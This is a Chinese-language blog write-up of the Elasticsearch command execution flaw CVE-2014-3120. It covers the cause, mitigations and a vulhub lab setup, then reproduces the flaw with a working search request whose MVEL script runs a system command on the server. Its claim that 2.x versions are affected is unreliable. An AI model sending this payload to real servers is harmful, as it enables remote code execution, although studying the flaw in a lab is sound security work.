ElasticSearch 命令执行漏洞(CVE-2014-3120)

Elasticsearch 命令执行漏洞(CVE-2014-3120),它允许攻击者通过发送精心构造的请求到 Elasticsearch 服务器来执行任意操作系统命令。这个漏洞存在于 Elasticsearch 的早期版本中,并且在较新的版本中已经被修复。

漏洞原理:

  1. Elasticsearch 提供了一个脚本执行的功能,允许用户编写 MVEL 或 JavaScript 脚本来扩展其功能。
  2. 在默认配置下,Elasticsearch 允许动态脚本执行,这意味着没有预先编译的脚本也可以运行。
  3. 然而,在早期版本中,Elasticsearch 并没有对输入的脚本进行适当的过滤或沙盒化处理,因此攻击者可以利用这个功能执行任意系统命令。

漏洞影响范围:

该漏洞主要影响了 Elasticsearch 版本 1.x 和 2.x 的早期版本。对于受影响的版本,需要尽快更新到包含补丁的新版本以防止被利用。

漏洞缓解和修复: 要解决此问题,可以采取以下措施之一:

  1. 升级到安全版本:将 Elasticsearch 更新到一个已修复此漏洞的版本。
  2. 禁用动态脚本执行:在 Elasticsearch 配置文件中禁用动态脚本执行。这可以通过设置 script.disable_dynamic: true 来实现。
  3. 使用防火墙或网络访问控制:限制只有可信来源才能访问 Elasticsearch 服务器,阻止恶意用户的请求。

由于这是一个历史上的漏洞,如果你现在正在使用的 Elasticsearch 是最新的稳定版本,那么你应该已经不受此漏洞的影响。不过,仍然建议定期更新你的 Elasticsearch 实例以获取最新的安全修复和其他改进。

漏洞环境

vulhub靶场

docker-compose build

docker-compose up -d

docker ps -a

漏洞环境:http://192.168.44.136:9200/

漏洞复现

BurpSuite抓包,首先,该漏洞需要Elasticsearch中至少存在一条数据,所以我们需要先创建一条数据,所以把抓到的GET包替换成POST包。

POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "phithon"
}

返回201状态码,代表创建成功;

利用该漏洞的Payload如下

POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

法律声明

声明:

请注意,本文档包含有关已知漏洞的描述和复现方法。这些信息仅用于教育和研究目的,不得用于任何未经授权的活动。

本声明如下:

    本人对使用本文档中的信息所产生的任何后果概不负责。任何人使用本文档中的信息应自行承担所有风险。

    本文档中的信息不得用于未经授权的任何活动,包括但不限于未经授权的攻击行为。任何使用本文档中的信息进行未经授权的活动将违反法律,并可能导致法律后果。

    本文档中的信息仅为教育和研究目的而提供,并且可能包含机密和保密信息。阅读和使用本文档的信息应遵守适用的法律和法规。

    请遵守道德原则并报告您发现的任何漏洞给相关方,以促进软件和系统的安全。

    请注意,本文档中的信息可能已过时,因为软件和系统可能已经修复了相关漏洞。

特此声明。
 

  • 7
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值